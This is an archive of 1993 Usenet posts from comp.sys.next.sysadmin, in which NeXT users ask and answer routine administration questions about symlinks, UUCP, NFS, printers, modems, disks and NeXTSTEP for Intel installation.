> I want to create a link that will point to a user's home directory.
>
GF> Easy, at least if you are using csh or a variant that understands $HOME:
GF> (The trick is to type \$HOME, the \ escapes the $)
GF> % ln -s \$HOME /home
GF> % ls -alsx /home
GF> 0 lrwxrwxrwx 1 gordie 5 Jun 7 23:21 home -> $HOME
GF> I did a "cd /home" logged in as different users, and in each
GF> case it went to the user's specific home directory.
This is indeed true. I tried this in a zsh however, and that didn't
work. On the other hand 'cd $HOME' works just fine. Should this
be fixed in zsh, cedman? Looks like a useful thing.
Gisli
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...............................................................................
Gisli Ottarsson
Delenda est Carthago. University of Michigan
gisli@engin.umich.edu
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: Can you make a dynamic symbolic link to $HOME?
In-Reply-To: gisli@liapunov.eecs.umich.edu's message of 8 Jun 93 09:50:57
To: gisli@liapunov.eecs.umich.edu (Gisli Ottarsson)
Message-ID: <CEDMAN.93Jun8113534@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993Jun7.173839.20829@linus.mitre.org> <1993Jun8.072602.2031@netcom.com>
<GISLI.93Jun8095057@liapunov.eecs.umich.edu>
Distribution: usa
Date: Tue, 8 Jun 1993 15:35:34 GMT
In article <GISLI.93Jun8095057@liapunov.eecs.umich.edu> gisli@liapunov.eecs.umich.edu (Gisli Ottarsson) writes:
>>>>> In article <1993Jun8.072602.2031@netcom.com>, gordie@cyclesoft.com (Gordie Freedman) writes:
>
> I want to create a link that will point to a user's home
> directory.
>
GF> Easy, at least if you are using csh or a variant that understands $HOME:
GF> (The trick is to type \$HOME, the \ escapes the $)
GF> % ln -s \$HOME /home
GF> % ls -alsx /home
GF> 0 lrwxrwxrwx 1 gordie 5 Jun 7 23:21 home -> $HOME
GF> I did a "cd /home" logged in as different users, and in each
GF> case it went to the user's specific home directory.
This is indeed true. I tried this in a zsh however, and that didn't
work. On the other hand 'cd $HOME' works just fine. Should this
be fixed in zsh, cedman? Looks like a useful thing.
EPS is quite right when he says that there is no support in the NeXT
kernel for 'dynamic links' using environment variables (though he is
not when he says that the kernel couldn't or shouldn't get to
environment variables -- many kernels do).
What there is, is a hack in csh which causes it to check to see if the
argument to 'cd' happens to be a symbolic link and if so to do an
environment expansion on its contents. That's neat but of limited
usefulness. No other program will understand such links, nor will csh
itself unless the 'dynamic link' happens to be the last element of the
file path. File Viewer will not correctly follow such links. In
addition, '$' is perfectly valid as a character in directory names and
so are links to such directories. Csh will get confused by them.
So, yes, one could add this feature to zsh, but it wouldn't really be
very useful. If it belongs anywhere it belongs in the kernel so that
all user programs (including zsh) would automatically use it. Adding
it should be a nice exercise for a budding kernel hacker.
Carl Edman
From: grant@Manticore.COM (Grant J. Munsey)
Newsgroups: comp.sys.next.sysadmin
Subject: UUCP retry time questions
Message-ID: <379@gouche.UUCP>
Date: 8 Jun 93 16:32:30 GMT
Sender: grant@gouche.UUCP
Two questions on UUCP under NS3.0.
1) When uucico cannot connect to a dial out host it won't try let you try
connecting again until a retry time is reached. Can that retry time be
changed?
2) What I want to do is have uucico send all its queued mail once an hour.
In the case where a machine cannot be reached I want uucico to retry
that connection every 5 min. I can get the first part by using cron to
issue a poll every hour. How do you get the second part?
Thanks,
----
Grant Munsey, Mainticore, Inc., (408)252-1135, fax: (408)446-9355
grant@manticore.com or uunet!ub-gate!gouche!grant
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From: faught@berserk.ssc.gov (Ed Faught)
Subject: Re: HashTable count????
Message-ID: <1993Jun8.182253.8864@sunova.ssc.gov>
Sender: usenet@sunova.ssc.gov (News Admin)
Organization: Superconducting Super Collider Laboratory
References: <1993Jun5.033305.1037@antigone.com>
Date: Tue, 8 Jun 1993 18:22:53 GMT
In article <1993Jun5.033305.1037@antigone.com> mross@antigone.com writes:
>
>The following message keeps popping up on our Console every now & then:
>
>*** HashTable: count differs after rehashing; probably indicates a broken
>invariant: there are x and y such as isEqual(x, y) is TRUE but hash(x) != hash
(y)
>
>What does this mean? We are running NS3.0 on an '040 Cube
>
It appears here occasionally while the machine is running FrameMaker. Are you?
--
Ed_Faught@ssc.gov WA9WDM
wouldn't dare to speak for the
Superconducting Super Collider Laboratory
From: jfosback@darmok.uoregon.edu (Jason Fosback)
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: NS/FIP and ESDI hard drives?
Date: 8 Jun 1993 19:09:42 GMT
Organization: University of Oregon Network Services
Message-ID: <1v2o5m$io3@pith.uoregon.edu>
Everything I've seen regarding NeXTSTEP for Intel says that it's only
supporting IDE and SCSI hard drives. Does this mean that it cirumvents
the BIOS? Theoretically, if the drivers were going through the BIOS, we
could use MFM, RLL, ESDI, *and* IDE hard drives.
So, what's the story? My Priam ESDI hard drive would rock just about
any SCSI hard drive, and it would be more than adequate to run NS. A
lot of server-class machines have hard drives that are ESDI, and it
would be nice if we didn't have to re-invest is new ones.
Thanks.
-jason
_________________________________________________________________
Jason Fosback, User Support Analyst | No sir, I didn't like it
---- University of Oregon ---- | -R&S
Internet: jfosback@oregon.uoregon.edu | Star Trek:
NeXT mail: jfosback@darmok.uoregon.edu | The NeXT Generation...
From: bill@ganesha.cognet.ucla.edu (William Eldridge)
Newsgroups: comp.sys.next.sysadmin
Subject: 3.0 Appleshare with 3.1?
Date: 8 Jun 1993 20:38:41 GMT
Organization: UCLA Cognitive Science Research Program
Message-ID: <1v2tch$cik@alamut.cognet.ucla.edu>
Unlike others, I'm currently accessing a LaserWriter from my
Next via Appleshare, and would like to with 3.1 as well.
Will the installation clear out Appleshare, and is it possible
to run the old Appleshare with 3.1?
Thanks,
Bill
--
Bill Eldridge bill@cognet.ucla.edu
*** He who remembers the past is condemned to misread it. ***
- George Santana
Newsgroups: comp.sys.next.sysadmin
From: anderson (Ken Anderson)
Subject: Netware NFS name space problem
Message-ID: <1993Jun8.190156.569@biztech.com>
Keywords: next netware NFS
Sender: news@biztech.com
Organization: Biztech, Inc.
Date: Tue, 8 Jun 1993 19:01:56 GMT
Has anyone out there successfully used the NFS name space under netware?
I'm currently running a 3.11 Netware server, and both black and white
NeXTs running 3.1. The nuc.nlm nlm as well as the nfs.nam namespace are
loaded, and NetWare is accessible from NEXTSTEP, but I can't create
filenames of the NFS variety. Also, /etc/nfsusers and /etc/nfsgroup are
populated as instructed.
Any ideas?
Ken Anderson
anderson@biztech.com
NeXTMail welcome
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From: root@gbo.cern.ch (System Manager)
Subject: Re: Using the internal for swapfile
Message-ID: <1993Jun8.214143.3076@dxcern.cern.ch>
Sender: news@dxcern.cern.ch (USENET News System)
Organization: CERN European Lab for Particle Physics
References: <1993Jun6.163042.2121@dxcern.cern.ch>
Date: Tue, 8 Jun 1993 21:41:43 GMT
In article <1993Jun6.163042.2121@dxcern.cern.ch> root@gbo.cern.ch >
writes:
> i.e: the preferred swapdisk is the internal one and is labeled Next_2.1;
> the swapfile is 5 MBytes minimum, 40 Mbytes Maximum. The second swapdisk
> is the internal one; it has a small swapfile: 0.5 Mbytes minimum, 5
Mbytes
> maximum.
I am replying to my own posting, as I realized having written the word
"internal" twice. The correct sentence is:
i.e: the preferred swapdisk is the internal one and is labeled Next_2.1;
the swapfile is 5 MBytes minimum, 40 Mbytes Maximum. The second swapdisk
is the external one; it has a small swapfile: 0.5 Mbytes minimum, 5 Mbytes
maximum.
Gian Franco Non-NeXT mail: gfranc@dxcern.cern.ch
From: Mark-Tarbell@suite.com
Newsgroups: comp.sys.next.sysadmin
Subject: autonfsmount dies!
Date: 8 Jun 1993 22:30:23 GMT
Organization: Suite Software
Message-ID: <1v33tv$5ic@bilbo.suite.com>
On both of two 3.0 systems connected via ethernet (a 2-node LAN),
autonfsmount dies at boot time (also interactively), giving the error:
autonfsmount: Can't get my address
Each node is registered as a host on the other; telnet & ftp work
fine (both to self & to other). NFSManager shows all ok. Any ideas?
Mark-Tarbell@suite.com
vely), giving the error:
autonfsmount: Can't get my address
Each node is registered as a host on the other; telnet & ftp work
fine (both to self & to other). NFSManager sho
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From: boconnor@andi.org (Bob O'Connor)
Subject: Downloading Fonts to a Stand-alone Printer
Message-ID: <C8C8F5.oA@nextsrv1.andi.org>
Keywords: font download printer
Sender: usenet@nextsrv1.andi.org (usenet)
Organization: Association of NeXTSTEP Developers International
Date: Wed, 9 Jun 1993 04:57:05 GMT
Does the NeXT automatically download fonts with a document to a
stand-alone TCP/IP printer? If not, is there a hack to do this (other than
manually downloading them before each document)?
Should/could I write a C Shell script that acts as a filter to
automatically read the fonts included in a document and then invoke the
fontdownloader program?
If I do this, is there a way to query the printer at boot to determine the
fonts currently installed in RAM, ROM or attached hard drive so as not to
download duplicate fonts?
Is there a better way that I haven't thought of?
Many thanks in advance.
Bob O'Connor
boconnor@andi.org
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From: moran@alpine.lance.colostate.edu (Matthew Moran)
Subject: Boot Problems... Please Help
Sender: news@yuma.ACNS.ColoState.EDU (News Account)
Message-ID: <Jun09.051029.23180@yuma.ACNS.ColoState.EDU>
Date: Wed, 09 Jun 1993 05:10:29 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Greetings,
Can anyone suggest possible solutions to the following problem:
During the boot process the mounting of the root files system is not being
recorded in /etc/mtab, therefore when /etc/rc.boot tries to issue the
command "mount -o remount", it fails and the file system stays read only.
I could not find any documentation that details what happens before
rc.boot runs, but I assume the kernel initially mounts the file system and
records the entry in /etc/mtab, or is that entry always there?
Boot Example:
..
Checking disks
mount: "/" not found
[various read only problems]
[boot stuck]
Console Errors:
Software Version 3.0 (Hyper3B)
Jun 7 17:04:46 Workspace: Cannot find root filesystem
Jun 7 17:04:47 Workspace: Cannot mount device
Jun 7 17:05:06 Workspace[159]: Error while querying for for device info
at /Users/moran with devnum 1536
opening /usr/adm/lastlog: Bad file number
opening /usr/adm/wtmp: Bad file number
I have tried reinstalling 3.0, replacing /etc/mtab, manually editing the
mtab to record the / mount and the vary last thing I need right now is to
rebuild my whole gig disk!!!!
One last note... I think this problem arose from an unclean shutdown?
Any suggestions would be helpful +
Thanks.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Matthew Moran Former Campus Consultant
Student Lab Manager Colorado State University
Engineering Network Services moran@longs.lance.colostate.edu
Newsgroups: comp.sys.next.sysadmin
From: dlw@netcom.com (David L. Williams)
Subject: Re: Sybase: Installing from NeXTSTEP 1.0 Disk
Message-ID: <dlwC8CBD0.7L1@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <C89yGJ.w5@csulb.edu>
Date: Wed, 9 Jun 1993 06:00:36 GMT
Mike Mahoney (mahoney@csulb.edu) wrote:
: Does anyone know how I can install Sybase off of the NeXTSTEP 1.0 Disk?
: I've got the disk, and I only need the exact procedure.
: Direct e-mail would be extremely appreciated.
: -mike
more than that does anyone know how to get the upgrade of of the 1.0 sybase
for NeXTSTEP that would work on 3.x? I bought a NeXTCUBE from Businessland
030 with 1.0 software and never upgraded it to an 040, I now have a
nextstation as well and it would be nice to get sybase for the box if I am
entitled to get it or buy it at a reasonable price.
David Williams
Newsgroups: comp.sys.next.sysadmin
From: m@BlueRose.com (M Carling)
Subject: Re: News Setup
Message-ID: <1993Jun8.160743.8953@BlueRose.com>
Sender: m@BlueRose.com
Organization: Blue Rose Systems, Inc.
References: <1993Jun7.182407.727@mic.ucla.edu>
Date: Tue, 8 Jun 1993 16:07:43 GMT
In article <1993Jun7.182407.727@mic.ucla.edu> iwelch@agsm.ucla.edu (Ivo
Welch) writes:
>
> I plan to set up a news feed to my NeXT if it is not too much trouble.
Has
> someone done this?
>
> Question: Is INN better/easier to install than c-news/NNTP?
>
> If there are NeXT specific mods, where do I find them?
BANG has an installer .pkg for Cnews, preconfigured for NEXTSTEP. It's not
the latest version of Cnews, but it's easy to set up. I can NeXTmail it if
need be.
M Carling
President, Bay Area NeXT Group
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Setting Kermit for ZyXEL
Message-ID: <1993Jun8.140905.2559@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <1993Jun5.220408.13266@cs.ucla.edu>
Date: Tue, 8 Jun 1993 14:09:05 GMT
In article <1993Jun5.220408.13266@cs.ucla.edu> lange@lanai.cs.ucla.edu (Trent
Lange) writes:
> I've just gotten a ZyXEL U-1496E, which works great through communicae.app.
> The 16.8K ZyXEL speed to another ZyXEL is a particularly nice improvement.
> However, I'm having problems getting it to work with kermit. Here is the
> setup I tried using for kermit with it (changing only the speed from the
> setup that worked with my old Multitech 9600 baud modem):
>
> set line /dev/cua
> set speed 19200
> set modem hayes
> dial <X>
>
> It dials out, and then returns:
> Failed ("RINGING")
>
>
1. You should use HW/Flow Control, thus use line /dev/cufa
2. dial from inside Kermit, thus do a 'connect' and then
atdt8765432
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choose from.
-- Andrew S. Tanenbaum
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca)
Newsgroups: comp.sys.next.sysadmin
Subject: How Set up Laserjets?
Date: 9 Jun 1993 09:11:37 -0400
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Message-ID: <1v4ni9INNbhq@jhunix.hcf.jhu.edu>
The FAQ doesn't contain enough info. I need pinouts for cable
and ppd info (i.e. where to get it) plus any other info needed.
Could someone either post or email how to do this from A to Z?
Thanks
Robert de Lucca
email robinc@jhunix.hcf.jhu.edu
From: k0s8160@chenext1.tamu.edu (Kenji Seto)
Newsgroups: comp.sys.next.sysadmin
Subject: auto-logout
Date: 9 Jun 1993 13:12:45 GMT
Organization: Texas A&M University, College Station, TX
Message-ID: <1v4nkd$imm@tamsun.tamu.edu>
Greetings,
I was wondering if anyone has developed
software that would logout a user after
so many minutes of inactivity.
Thanks,
-Kenji
From: max@Kolmogorov.gac.edu (Max Hailperin)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Best Fortress UPS to NeXT interfacing
Date: 9 Jun 93 10:03:33
Organization: Gustavus Adolphus College, St. Peter, MN
Message-ID: <MAX.93Jun9100333@Kolmogorov.gac.edu>
I've submitted to the Purdue and OSU ftp archives a text file
describing how to interface the Best Fortress series of UPSs to a NeXT
serial port, for use with Best's "CheckUPS for Unix" software for
graceful shutdown when the battery is low.
Newsgroups: comp.sys.next.sysadmin
From: tpg@rchland.vnet.ibm.com (Terry Gliedt)
Subject: Re: auto-logout
Sender: news@rchland.ibm.com
Message-ID: <1993Jun09.185005.31960@rchland.ibm.com>
Date: Wed, 09 Jun 1993 18:50:05 GMT
Disclaimer: This posting represents the poster's views, not necessarily those of IBM
References: <1v4nkd$imm@tamsun.tamu.edu>
Organization: IBM Rochester
In article <1v4nkd$imm@tamsun.tamu.edu>, k0s8160@chenext1.tamu.edu (Kenji Seto) writes:
|>
|> Greetings,
|>
|> I was wondering if anyone has developed
|> software that would logout a user after
|> so many minutes of inactivity.
|>
There is a PD program called Untamo that works pretty well on BSD-ish systems
that might meet your needs.
Untamo is a locally developed daemon which periodically wakes up and
logs off idle terminals; it also can deal with multiply-logged in
users. It is configurable without recompilation, and features tunable
parameters such as maximum allowed idle time, maximum allowable
multiple logins, exemption lists, and so on. (Note: session limits
do not work at the moment.)
Please address correspondence concerning untamo to "doc" on this machine;
the original author has left Purdue, but Craig Norborg (aka "doc") is
reasonably familiar with the program.
--
Rich Kulawiec, pucc-j!rsk, rsk@j.cc.purdue.edu, rsk@purdue-asc.arpa
Cannot say if this will work, but it is worth a look.
From: rprice@cbnewsg.cb.att.com (rodney.price)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: new libg++ under NS 3.0?
Keywords: libg++ NS3.0
Message-ID: <C8DEK8.Hoq@cbfsb.cb.att.com>
Date: 9 Jun 93 20:07:19 GMT
Sender: news@cbfsb.cb.att.com
Followup-To: poster
Organization: AT&T
I've just upgraded my non-turbo mono slab to NextStep
3.0, and I'd like to get libg++ installed again. I
have a couple of questions, however.
(1) The Developer documentation says that the new cc
is gcc version 1.39.1, but doing cc -v gives "gcc
version 1.93 (68k, MIT syntax)." Which is it?
(2) If this is the mysterious v. 1.93 (I didn't know
such a thing existed) can I use libg++ 2.3.1 with it?
If it's really v. 1.39, then perhaps I'd be better off
using libg++ 1.39.0. Opinions?
(3) I seem to remember reading somewhere that NS 3.1
includes the new gcc 2.2.2 and also includes a current
libg++ already compiled. Since this software is copy-
lefted, presumably it's legal for me to copy it from
someone. Will it work under NS 3.0, and can I ftp it
from someplace over the Internet?
I'd like to upgrade to NS 3.1, but I don't have the $$
right now.
Thanks for your help.
Rod Price
rprice@physics.att.com
Newsgroups: comp.sys.next.sysadmin
From: herrick@amd.com (charles)
Subject: Re: Sybase: Installing from NeXTSTEP 1.0 Disk
Message-ID: <1993Jun9.210617.5157@dvorak.amd.com>
Followup-To: <herrick@auhp14.amd.com>
Sender: Chuck Herrick
Organization: Speak for myself only.
References: <C89yGJ.w5@csulb.edu> <dlwC8CBD0.7L1@netcom.com>
Date: Wed, 9 Jun 93 21:06:17 GMT
In article <dlwC8CBD0.7L1@netcom.com> dlw@netcom.com (David L. Williams) writes:
>Mike Mahoney (mahoney@csulb.edu) wrote:
>: Does anyone know how I can install Sybase off of the NeXTSTEP 1.0 Disk?
>: I've got the disk, and I only need the exact procedure.
>: Direct e-mail would be extremely appreciated.
>: -mike
>more than that does anyone know how to get the upgrade of of the 1.0 sybase
>for NeXTSTEP that would work on 3.x? I bought a NeXTCUBE from Businessland
>030 with 1.0 software and never upgraded it to an 040, I now have a
>nextstation as well and it would be nice to get sybase for the box if I am
>entitled to get it or buy it at a reasonable price.
>
If you bought an upgrade from 1.0 to 2.X, you were automatically entitled
to an upgrade of the Sybase, Mathematica and Lisp packages to versions that
were compatible with NeXTSTEP 2.X, i.e. the packages were free, but
you had to request them.
I honestly can not remember if the upgrades had a time limit attached, but
I bet 800-848-6398 would know.
Cheers,
Chuck Herrick
--
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(512) 462-6248 (w) (512) 462-4812 (FAX) (512) 480-0757 (h)
PO Box 18804
Austin, TX 78760-8804
Newsgroups: comp.sys.next.sysadmin
From: ynakamur@malibu.sfu.ca (Yasunobu Nakamura)
Subject: Fatal Crash
Message-ID: <ynakamur.739665828@sfu.ca>
Summary: unclean shut down when un-mounting floppy disk
Keywords: fatal crash
Sender: news@sfu.ca
Organization: Simon Fraser University, Burnaby, B.C., Canada
Date: Wed, 9 Jun 1993 22:43:48 GMT
Greetings,
Every once in a while when I eject my (internal) floppy disk, my machine suddenly shuts down and starts to reboot. This shutdown is unclean. This does not happen every time, and there is no know cause either. This crash could be fatal if I have many files open. Has this happened to anyone else? Any piece of information would be appreciated. Thank you.
-> Mike
-> e-mail: ynakamur@sfu.ca
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: bkr@drdhh.hanse.de (Bjoern Kriews)
Subject: Micropolis 2112 with NeXTstation anyone ?
Message-ID: <1993Jun9.231527.20604@drdhh.hanse.de>
Summary: Does Micropolis 2112 work with NeXTstattion ?
Keywords: Micropolis, Harddisk
Organization: Digital Island
Date: Wed, 9 Jun 1993 23:15:27 GMT
Hi !
If anyone has any experience concerning the Micropolis
2112 disk (1050mb, 10ms) with a NeXTstation
(this includes answers like: it works at all),
please send me mail.
If anyone used it with DrivePerformance, I'd like
to see the results.
Thanks a lot for your time, Bjoern
--
bkr@drdhh.hanse.de - Bjoern Kriews - Stormsweg 6 - D-2000 Hamburg 76 - FRG
From: pthil@blackpoint.ncel.navy.mil (Peter Thille)
Newsgroups: comp.sys.next.sysadmin
Subject: Help - Printing to HP LaserJet IIISi on a Novell Network
Keywords: printing, Novell, LaserJet
Message-ID: <1180@anacapa.NCEL.Navy.Mil>
Date: 9 Jun 93 18:10:31 GMT
Sender: news@anacapa.NCEL.Navy.Mil
We have an HP LaserJet IIISi with a JetDirect Card & PostScript installed
as a remote printer on a Novell NetWare 3.11 network. We are printing
through the Novell Server. The IIISi does not autoswitch between PCL &
PostScript. This means the printer thinks files from the NeXT are text
files.
From page 4-14 of the "Network Notes for the LaserJet IIISi Printer":
> Create an executable file which contains the following lines to
> perform language switching:
>
> #!/bin/sh
> echo "<esc>%-12345X@PJL enter language=postscript"
> cat -
> echo "<esc>%-12345X@PJL enter language=pcl"
> echo "<esc>E<esc>&k3G<esc>&a10L<esc>&k10H
>
> Specify this executable file as the file in the :if command
> in the printcap entry.
I looked in NetInfo & found that the "if" property points to
"/usr/netware/bin/PrinterFilters/PostScript/.if". That file is Copyright
Novell Inc. 1991 & is 429 lines long.
My question: how do I fit the four lines from the "Network Notes" into
Novell's ".if" file, or is there another solution?
-----
Peter Thille <I don't speak for MIL, NAVY, NCEL, or even ME.>
NeXTMail: pthil@blackpoint.ncel.navy.mil
Email: pthil@ncel.navy.mil
From: hyunduk@engin.umich.edu (Hyunduk Ahn)
Newsgroups: comp.sys.next.sysadmin
Subject: ImageWriter II on 3.0
Date: 10 Jun 1993 04:58:17 GMT
Organization: University of Michigan Engineering, Ann Arbor
Distribution: world
Message-ID: <1v6f19INN2lh@srvr1.engin.umich.edu>
Newsgroups: sys.next.sysadmin
Subject: ImageWrite II on 3.0
Summary:
Followup-To:
Distribution:
Organization: University of Michigan Engineering, Ann Arbor
Keywords:
I recently acquired an ImageWriter II for my station (Pre-turbo,b/w,3.0).
I downloaded iwf-2.0 from sonata, but being a complete novice, I have
no idea what to do with it. I would appreciate if some kind soul out
there could help me use the printer. First of all, I found out that
I don't have <sys/table.h>.
Would some one please send me <sys/table.h> and tell me where to put
things after compiling iwf to use the printer? Thanks in advance.
Hyunduk
From: maverick@halcyon.com (Thomas M. J. Fruchterman)
Newsgroups: comp.sys.next.sysadmin
Subject: musings on a nsi install
Date: 9 Jun 1993 23:05:52 -0700
Organization: "A World of Information at your Fingertips"
Sender: news@nwfocus.wa.com
Message-ID: <1v6j00$55@nwfocus.wa.com>
NeXTStep for Intel Installation Musings
Here is a horror story of NSI installation on non-kosher
hardware. Here are the main points I seem to have learned
1. Get it preinstalled.
2. Stick to approved hardware.
3. Stick to SCSI Hard disks (rather than IDE).
4. Stick to PS/2 mice (rather than serial or bus).
5. Definitely have a completely accurate 101-keyboard. No right side
alt key on your keyboard -- too bad, you won't be able to take
advantage of point 6. I had numerous problems where non-standard
keyboards outputted complete garbage once I got to the step where one
types in ones language preference for installation.
6. right-alt num-lock (pressed at the same time) is the equivalent of
command-command-~ on the black hardware. This was unfortunately
missing in the documentation. Very useful when you find out you
haven't properly configured your mouse, so you can't move it in the
workspace, so you can't shutdown, so your only alternative is the Big
Red Switch and trashing the filesystem.
7. Some ROM bios seem to prefer seeing the SCSI devices, like the
CD-ROM drive, start at target 0. However, I have had problems where
the mach boot stalled after looking at the IDE drives, when the CDROM
was at SCSI. However, If I switch the SCSI address after from 0 after
BIOS looks at it, to 6 before being probed by the MACH boot, I didn't
have this problem. Incidentally, when NEXTSTEP stalls because of SCSI
0 CD ROM, there is a symptom that floppy disk light stays on. It was
suggested to me that I eject the floppy after the NEXT MACH banner
comes up, but that didn't help me.
The Adaptec 1542B next answers documents tells us that we should
use SCSI 0 in one bullet and warns against dangers in another.
8. The NSI bootable disk was readable by my next station. It is
interesting to see the visible files on there. I tried to make a copy
but it didnt work. I probably should have used some tricky unix dd
call to make an exact image, but what I wanted to do was edit the
defaults :-)
9. Beware warning messages. Some of them are meaningless. Some of them
I still have to figure out if they have meaning. I am fairly certain
messages about SMC16 not being linked and such are meaningless. It is
careless of NeXT to let things like that go. It confuses me when I
have a real problem and I'm trying to puzzle out the relevant error
message. Likewise the message about the mouse probe failing. I think
they check for bus mice and ps/2 mice at mach boot time and I think
that this message doesn't mean you don't have some form of valid mouse.
10. I had problems with the MAXTOR 340 LXT AT drive. I am still don't
know whether the message about IDE drive using multi-sector mode is
related to the ideStrayInterrupt: multiwrite message that is
torpedoing me at the current time. If anyone knows, please pass it
along to me.
11. All in all, a frustrating experience. I am not too familiar with
PC hardware, having recently failed to install 386BSD, but managing to
get SLS/Linux to work. I have had a Next for 2 or 3 years and am
knowledgable about black hardware. I had a lot of parts lying around
and help from my more knowledgable office-mates. I got more sympathy
than help from the 900 line, but I don't blame them, you can't support
all the hardware in the world unless you're making a crummy OS. Really
folks, if you buy non-approved stuff, you are just trusting your luck
or you're a better hardware hacker than I am.
12. Still awaiting NSI ...
Tom Fruchterman
RAF Technology
Newsgroups: comp.sys.next.sysadmin
From: jspears@weston.com (Wes Spears)
Subject: Dead Drive on a 2 machine net
Message-ID: <1993Jun9.213911.2740@weston.com>
Sender: jspears@weston.com (Wes Spears)
Date: Wed, 9 Jun 1993 21:39:11 GMT
HELP! I have a NeXT emergency. My boss came to work this morning and
there was a "System Panic" window over his login prompt. Something about
a media error in block 85040H
SCSI block in error = 544832; Partition A F.S. (is this right?)
Sector 272256
Well, we tried to power down and reboot, and we get a SCSI error. In the
ROM monitor it says something about messing up on a short read. It is
early on in the boot process.
I had my HD die on me a year ago in my Cube - it was still under
maintenance, so I had it replaced. After that I used BuildDisk to build a
boot disk on an optical, so I could at least reboot if the same thing ever
happened to me. Well, the machine that is broken i a Station, so it has
no optical drive. The only thing I can think of is to convert my Cube
into a NetInfo server, and boot the other machine over the ethernet from
mine. Then we can see how much data we can save off of the other's disk
(it's been a while since the last backup, so we is very nervous!).
I am going to proceed from the manuals to set up a NetInfo server with my
machine. If you have any better ideas, email me as soon as you can.
TIME PASSES...........
I have configured my NeXT Cube as a NetInfo and Configuration Server.
Then I configured it as a NetBoot server. To do this, I had to export the
root and private directories to the other machine. Well, I boot the other
machine across ethernet and it says "booting from garfield" which is
good. But then it gets hung when it tries to mount the root directory -
it says it can't mount the root directory.
In the NeXT manual it says something about only supporting NetBoot servers
on machines with 660MB Hard Drives. Mine is 400MB. Is this for real? If
so, I think it's pretty stupid! There's got to be another way to boot the
other machine.
How do you make a floppy boot disk? One of the options on the boot
command is bfd, to boot from floppy drive. If I could boot his machine
from a floppy, that would probably be enough.
What about physically moving his Hard Disk to my machine as a second disk
drive? Could I get to his data that way?
TIME PASSES..................
I have used BuildDisk to build an optical system disk called LocalDisk1.
I tried to have the other machine mount my optical disk LocalDisk1 as it's
root directory, instead of my literal root directory. No dice. It still
gives the same message "cannot mount root". I think it doesn't support my
machine because it's only 400MB.
Does anyone have any thoughts?
Thanks
--
Wes Spears <-------> jspears@weston.com (NeXTMail Welcome)
The Weston Group
8524 Highway 6 North, 162, Houston, TX 77095
Newsgroups: comp.sys.next.sysadmin
From: stef@tpki.toppoint.de (Stefan Krause)
Subject: Help: Workspace Garbles mtab Permissions
Organization: Toppoint Mailbox e.V.
Date: Thu, 10 Jun 1993 10:11:18 GMT
Message-ID: <1993Jun10.101118.18307@tpki.toppoint.de>
Summary: Workspace garbles mtab permission during umount of disks.
Keywords: mtab automount permissions
umask of user: 007 (also in Preferences)
initial mtab permissions: 644 (root.wheel)
When the user inserts a floppy disk it will be automounted. When
the user selects eject menu item or logs out then the disk will be
umounted and ejected. During this action the access permissions of
/etc/mtab change to 660 (root.wheel).
What can I do? I don't want to change the umask of the user. And
I don't want the mtab group-writable. And I don't want the
cnews-spacefor-script fail when reading the mtab.
Please help.
Stefan
--
Stefan Krause stef@tpki.toppoint.de
2300 Kiel, Germany tel.(voice) +49 431 335022
Newsgroups: comp.sys.next.sysadmin
From: sam@musical.fdn.org (Sam Przyswa)
Subject: Re: WARNING: Re: autonfsmount dies / SLIP problem
Message-ID: <1993Jun9.200825.26562@musical.fdn.org>
Sender: sam@musical.fdn.org
Organization: Rock'n Jazz BBS - (The Music Land)
References: <1urebj$hlm@transfer.stratus.com>
Date: Wed, 9 Jun 1993 20:08:25 GMT
In article <1urebj$hlm@transfer.stratus.com> dan@quiensabe.az.stratus.com (Dan
Danz) writes:
> You should beware that nidump/niload to reload the /machines directory of a
> netinfo database COULD BE VERY DANGEROUS. There are a number of
"properties"
Oops ! ok man, I don't want to make a mistake, and I will take a look
in the Unix manual before change anythings.
> To administer things on the NeXT systems, use the GUI apps that are
provided;
> specifically, NetinfoManager, and you'll see all of the properties.
>
> If you just **HAVE TO** use the shell tools, learn to use niutil.
>
> When I first started messing with NeXTs, the niutil way seemed the hard way,
> but not after I learned my lesson the hard way. Maybe I can spare you and
> others the agony of rebuilding a netinfo database.
>
Ok, I will do, thanks for your advices.
Greetings from Paris !
Sam
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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E-Mail: sam@musical.fdn.org Paris FidoNet: 2:320/102
--<NeXTmail accepted 10Ko max>-- France Music & Midi BBS
From: glover@tree.egr.uh.edu (John Glover)
Newsgroups: comp.sys.next.sysadmin
Subject: 2.88 Floppy Drive in 1.44 mode?
Date: 10 Jun 1993 14:26:56 GMT
Organization: University of Houston
Message-ID: <1v7gbg$rf2@menudo.uh.edu>
Keywords: floppy
I know that NeXT does not support 2.88 floppy drives under NEXTSTEP on Intel
machines, but has anyone tried a 2.88 floppy drive to see if NEXTSTEP will
recognize it in 1.44 MB mode? I asked Bob Lawton at NeXT if it would work, and
he said they had never tried it and didn't know if it would work (!!!!!). I am
preparing to purchase 50 machines, and I would like to go ahead and get 2.88
drives (only $30 more). (However, Lawton even said that he had no plans at
this time for a 2.88 driver. Pretty incredible, considering that NeXT was the
major pusher of 2.88 floppies, and we all have dozens of them that will now be
incompatible with the white machines.)
Thanks.
--
John Glover
Electrical Engineering Dept.
University of Houston
glover@uh.edu (NeXTMail)
From: brunkhorst@mayo.edu (Geoff Brunkhorst)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: NS/M or NS/I support for a 5.25" DOS floppy drive
Date: 10 Jun 1993 15:38:17 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <1v7kh9$12l@fermat.mayo.edu>
Keywords: NeXT hardware floppy 5.25
